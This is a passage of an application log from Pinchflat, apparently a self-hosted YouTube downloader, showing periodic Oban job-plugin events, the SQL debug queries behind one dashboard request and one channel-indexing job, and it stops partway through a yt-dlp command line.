{"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.554 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:00.770 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:30.773 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.556 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:00.775 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:30.777 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.558 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:00.780 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:30.783 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.560 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:00.784 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:30.787 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.562 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:00.789 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:30.793 [info] {"source":"oban","duration":2487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.564 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:00.795 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:30.797 [info] {"source":"oban","duration":2005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.566 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:00.800 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:30.803 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.567 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:00.806 [info] {"source":"oban","duration":1940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:30.809 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.568 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:00.812 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:30.814 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.570 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:00.817 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:30.820 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.572 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:00.823 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:30.825 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.574 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:00.828 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:30.831 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.576 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:00.834 [info] {"source":"oban","duration":2156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:30.837 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.578 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:00.839 [info] {"source":"oban","duration":1877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:30.842 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.579 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:00.844 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:30.846 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.581 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:00.849 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:30.852 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.583 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:00.855 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:30.858 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.583 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:00.861 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:30.864 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.585 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:00.867 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:30.869 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.587 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:00.872 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:30.874 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.589 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:00.877 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:30.880 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.591 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:00.883 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:30.886 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.593 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:00.889 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:30.892 [info] {"source":"oban","duration":1810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.594 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:00.895 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:30.898 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.596 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:00.901 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:30.903 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.598 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:00.906 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:27.662 [info] GET / 13:29:27.663 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 13:29:27.663 [debug] QUERY OK source="settings" db=0.2ms idle=967.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:29:27.663 [debug] QUERY OK source="media_profiles" db=0.1ms idle=968.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 13:29:27.664 [debug] QUERY OK source="sources" db=0.1ms idle=968.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 13:29:27.667 [debug] QUERY OK source="media_items" db=3.3ms idle=968.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:29:27.669 [debug] QUERY OK source="media_items" db=1.1ms idle=60.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:29:27.669 [debug] QUERY OK source="settings" db=0.1ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:29:27.669 [debug] QUERY OK source="settings" db=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:29:27.670 [debug] QUERY OK source="settings" db=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:29:27.671 [debug] QUERY OK source="tasks" db=0.2ms idle=3.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:29:27.671 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:29:27.672 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:29:27.672 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [36, 31, 30] 13:29:27.678 [debug] QUERY OK source="media_items" db=2.8ms idle=5.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:29:27.680 [debug] QUERY OK source="media_items" db=1.6ms idle=7.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:29:27.680 [debug] QUERY OK source="sources" db=0.1ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 13:29:27.682 [info] Sent 200 in 19ms 13:29:30.909 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.600 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:00.912 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:30.915 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.601 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:00.918 [info] {"source":"oban","duration":2005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:30.920 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.603 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:00.923 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:30.925 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.605 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:00.928 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:30.931 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.607 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:00.934 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:30.936 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.609 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:00.939 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:30.942 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.611 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:00.944 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:30.946 [info] {"source":"oban","duration":1845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.613 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:00.949 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:30.951 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.615 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:00.954 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:30.956 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.617 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:00.959 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:30.961 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.619 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:00.964 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:30.966 [info] {"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.621 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:00.969 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:30.972 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.623 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:00.975 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:12.372 [info] {"args":{"id":35},"id":7261,"meta":{},"system_time":1780508532372481355,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:42:12.373 [debug] QUERY OK source="sources" db=0.2ms idle=1677.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.373 [debug] QUERY OK source="settings" db=0.1ms idle=1677.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:12.374 [debug] QUERY OK source="media_items" db=0.5ms idle=1011.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 13:42:12.374 [debug] QUERY OK source="media_items" db=0.4ms idle=8.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 13:42:12.374 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:12.375 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:12.375 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:12.385 [debug] QUERY OK source="media_items" db=1.5ms idle=9.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [35] 13:42:12.387 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 13:42:12.387 [debug] Current batch of media processed. Will check again in 1000ms 13:42:12.387 [debug] QUERY OK source="settings" db=0.1ms idle=12.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:12.387 [debug] QUERY OK source="settings" db=0.1ms idle=12.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:12.387 [debug] QUERY OK source="settings" db=0.1ms idle=12.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:12.388 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@wickedmakers?si=6H2N44HREVS1QsI5 --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Wicked Makers/Season 